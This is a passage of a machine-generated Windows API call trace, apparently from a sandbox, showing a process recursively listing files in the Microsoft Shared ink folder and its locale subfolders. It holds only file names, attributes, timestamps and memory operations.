lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0215.653] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0215.653] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0215.653] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0215.655] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0215.655] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0215.655] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0215.656] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0215.656] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0215.656] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0215.657] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0215.657] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0215.657] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0215.658] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0215.658] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.658] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0215.659] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0215.659] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.661] GetProcessHeap () returned 0x560000 [0215.661] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.661] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0215.661] GetProcessHeap () returned 0x560000 [0215.662] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.662] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.662] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.663] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.663] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.663] GetProcessHeap () returned 0x560000 [0215.663] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.663] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0215.663] GetProcessHeap () returned 0x560000 [0215.663] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.928] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.928] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.928] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.928] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.928] GetProcessHeap () returned 0x560000 [0215.928] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.928] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0215.929] GetProcessHeap () returned 0x560000 [0215.929] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.929] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.929] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.929] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.930] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.930] GetProcessHeap () returned 0x560000 [0215.930] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.930] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0215.930] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0215.930] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0215.931] GetProcessHeap () returned 0x560000 [0215.931] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, 